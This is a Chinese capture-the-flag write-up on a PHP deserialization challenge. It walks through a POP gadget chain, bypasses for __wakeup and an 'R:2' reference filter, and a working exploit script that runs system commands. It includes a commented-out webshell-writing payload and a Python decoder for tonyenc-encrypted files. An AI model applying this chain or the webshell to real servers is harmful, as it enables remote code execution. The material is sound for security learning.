Ciscn 西南赛区 Ez_extension 浅析

浅析 Ez_extension

前言

太可惜了这道题比赛的时候最后一步的解密没解出来

题目源代码

<?php
class MGkk8
{
    public $a;
    public $b;
    public function rpl2()
    {
        $b = $this->b;
        if ($this->a == "RPG") {
            ($b->a)($b->b."");
        }
    }
}
class KOkjs
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->rpl2();
    }
}
class u1Y7U
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->TiYM6();
    }
}
class QMRb7
{
    public $a;
    public $b;
    public function TiYM6()
    {
        $this->b->learn();
    }
}
class y97pu
{
    public $a;
    public $b;
    public $c;
    public function __invoke()
    {
        $this->a = $this->b."__INVOKE__";
    }
    public function __destruct(){
        $this->b = $this->c;
        die($this->a);
    }
    public function __wakeup()
    {
        $this->a = "";
    }
}
class m1_99
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}
if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    if(stripos($c,'R:2')!== false){
        die("no Reference");
    }
    unserialize($c);
}else {
    highlight_file(__FILE__);
}

题目分析

构造反序列化链子, 入口一般是带有魔法函数 wakeup 或者 destruct 的类, 所以这里入口是 y97pu, 然后分析终点,一般是要带有 RCE 或者其他危险函数的地方,这里的终点是 MGkk8 类下的 rpl2()方法,($b->a)($b->b."");这里一看就是动态函数调用 ( 这里 $b可以借用一个对象, 用它的 ab 属性传值, 比如借用 QMRb7的属性 ) 终点和入口点都找到了, 现在就是把链子找出来.
看题目代码是类 KOkjs__toString方法调用了 $a属性的 rpl2()方法, 所以是需要 KOkjs$aMGkk8对象,y97pu对象的 $a属性是 KOkjs对象, 所以整个链子可以是 y97pu.destruct-->KOkjs.toString-->MGkk8.rp12
注意题目有两个 trick.

trick1:

wakeup方法将 $a清空了, 所以这里要绕过 wakeup 方法才能进到 destruct的 die 函数去调用 toString.
注意 destruct方法里面还有一句 $this->b = $this->c;, 所以这里可以使用在 a 被清空之前先让 a 地址引用到 b 属性, 然后对 c 属性的对象是 KOkjs, 因为 a 是 b 的地址, 所以 a 的内容会随着 b 的内容改变,die 之前的时候 a 的值依然是 KOkjs对象, 这样就是绕过 wakeup 了.

trick2:

反序列化函数前有条件限制,if(stripos($c,'R:2')!== false), 这里对 R:2进行了判断, 存在 R:2的话就会直接 die, 绕过 trick1 后的序列化字符串是 O:5:"y97pu":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:5:"QMRb7":2:{s:1:"a";s:6:"assert";s:1:"b";s:9:"phpinfo()";}}s:1:"b";N;}}这样的很明显有一个 R:2 会被直接 die, 这里可以用一个数组, 将 R:2 改成 R:3,R:4.

完整 exp

<?php
$command="system";//assert
/* $argv='echo "<?php eval(\$_REQUEST[1]);?>" > /tmp/c'; */
$argv='whoami';//	/usr/lib/php/20151012
class QMRb7
{
    public $a;
    public $b;
}
class KOkjs
{
    public $a;
    public $b;
}
class MGkk8
{
    public $a="RPG";
    public $b;
}
class y97pu
{
    public $a;
    public $b;
    public $c;
}
$a=new y97pu();
$a2=new KOkjs();
$a2->a=new MGkk8();
$a2->a->b=new QMRb7();
$a2->a->b->a=$command;
$a2->a->b->b=$argv;
$c=array($a,$a2);
$c[0]->a=&$c[0]->b;
$c[0]->c=&$c[1];
echo serialize($c).PHP_EOL;

读出来的 flag 乱码.

这里比赛的时候解码尝试了好久, 比赛完了以后去问其他解出来的师傅说就是需要对 enc.so 逆向, 盲区了, 比赛的时候一直尝试去使用 hook 的方法解密, 方向走错了.

逆向 encso 文件

拖进 IDA 查看,shift+f12 看看字符串.

找到个 tonyenc_key, 搜一下找到原项目
https://github.com/lihancong/tonyenc

介绍里面应该是找到特征头和密钥就能解密了.
找一找解密函数
core.h里面有 tonyenc_decode 函数

void tonyenc_decode(char *data, size_t len)
{
    size_t i, p = 0;
    for (i = 0; i < len; ++i) {
        if (i & 1) {
            p += tonyenc_key[p] + i;
            p %= sizeof(tonyenc_key);
            u_char t = tonyenc_key[p];
            data[i] = ~data[i] ^ t;
        }
    }
}

enc.so 里面的 header 和 key.

再看一下哪里怎么调用 decode 函数的

int tonyenc_ext_fopen(FILE *fp, struct stat *stat_buf, TONYENC_RES *res, const char *file_name)
{
    char *p_data;
    size_t data_len;
    size_t write_len;

    data_len = stat_buf->st_size - sizeof(tonyenc_header);
    p_data = (char *) emalloc(data_len);
    fseek(fp, sizeof(tonyenc_header), SEEK_SET);
    fread(p_data, data_len, 1, fp);
    fclose(fp);
    tonyenc_decode(p_data, data_len);

这里是把 header 头去掉以后调用的, 所以 exp 里面也要记得去掉 header.
用 base64 把 flag 带出来,cat flag.php | base64, 根据解密算法和逆向得到的 key 和 header 写 exp.
写好的 exp.py 如下:

import base64
header=[
    0x66, 0x88, 0xff, 0x4f,
    0x68, 0x86, 0x00, 0x56,
    0x11, 0x61, 0x16, 0x18,
]
key=[
    0x9f,0x50,0x52,0x00,
    0x58,0x9f,0xff,0x24,
    0x8e,0xfe,0xea,0xfa,
    0xa6,0x34,0xf3,0xc6]
def decode(data,len):
    p =0
    for i in range(0,len):
        if (i & 1):
            p += key[p] + i;
            p %= 16;
            t = key[p];
            data[i] = ~data[i]^t;
            if data[i] < 0:
                data[i]=data[i]+256
    decode = "".join([chr(c) for c in data])
    return decode
convert=[ord(c) for c in base64.b64decode('Zoj/T2iGAFYRYRYYPF9wxXALLyNmeWFee5gxnGWVZlhhLDM9ND9kPWUMY8M0+TaUNso5FTdaYlYw JArKY8Vv+yImbGFnLGkqIHFl1WXpO60=')]
del convert[0:len(header)]
print(str(decode(convert,len(convert))))

运行一下输出 flag

参考链接

https://github.com/lihancong/tonyenc